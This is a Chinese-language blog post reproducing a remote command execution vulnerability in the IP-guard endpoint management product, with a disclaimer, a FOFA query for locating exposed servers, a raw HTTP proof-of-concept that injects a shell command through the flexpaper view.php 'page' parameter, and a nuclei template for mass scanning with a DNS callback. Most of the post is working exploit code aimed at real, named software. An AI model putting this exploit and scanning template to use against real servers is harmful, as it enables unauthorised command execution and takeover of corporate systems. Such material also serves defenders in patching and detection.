• 漏洞复现--IP-guard flexpaper RCE


    免责声明:

    文章中涉及的漏洞均已修复,敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行负责

    一:漏洞描述

    IP-guard是由溢信科技股份有限公司开发的一款终端安全管理软件,旨在帮助企业保护终端设备安全、数据安全、管理网络使用和简化IT系统管理。该产品存在远程命令执行漏洞。攻击者可利用该漏洞执行任意命令直接获取服务器权限。

    二:漏洞影响版本

    IP-guard

    三:网络空间测绘查询

    fofa:
    "IP-guard" && icon_hash="2030860561"
    image.png

    四:漏洞复现

    image.png
    POC:

    GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||ping%20DNSlog HTTP/1.1
    Host: x.x.x.x
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Accept-Encoding: gzip, deflate, br
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: yourCookie
    Connection: close
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    ping后加上dnslog验证。
    image.png
    image.png

    五:批量检测

    id: ip-guard-webserver-rce
    
    info:
      name: IP-Guard Webserver 远程命令执行
      author: xingyun
      severity: critical
      description: |
        IP-guard是由溢信科技股份有限公司开发的一款终端安全管理软件,旨在帮助企业保护终端设备安全、数据安全、管理网络使用和简化IT系统管理。
        IP-guard WebServer远程命令执行漏洞。攻击者可利用该漏洞执行任意命令,获取服务器控制权限。
        "IP-guard" && icon_hash="2030860561"
      reference:
        - MDPOCS/Ip_Guard_Webserver_View_Rce_Poc.py at 35788...
      tags: rce,ipguard
    
    http:
      - raw:
          - |
            GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||ping%20{{interactsh-url}} HTTP/1.1
            Host: {{Hostname}}
    
        matchers-condition: and
        matchers:
          - type: word
            part: interactsh_protocol # Confirms the DNS Interaction
            words:
              - "dns"
    
        extractors:
          - type: kval
            kval:
              - interactsh_ip # Print remote interaction IP in output
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31

    image.png

  • 相关阅读:
    622 设计循环队列——Leetcode天天刷【循环队列,数组模拟,双指针】(2022.8.2)
    代理模式--cglib动态代理
    阿里P8熬了一个月肝出这份32W字Java面试手册,传到Git上目前star数达到了30K+
    Caused by: java.net.UnknownHostException: nacos
    想面试前端工程师,必须掌握哪些知识和技能?【云驻共创】
    什么是高可用架构
    github公钥设置
    C++ auto
    国产5V电机驱动TMI8150B替代ms41969芯片解决方案
    基于蝙蝠优化算法的电力系统经济调度研究(Matlab代码实现)
  • 原文地址:https://blog.csdn.net/qq_53003652/article/details/134375261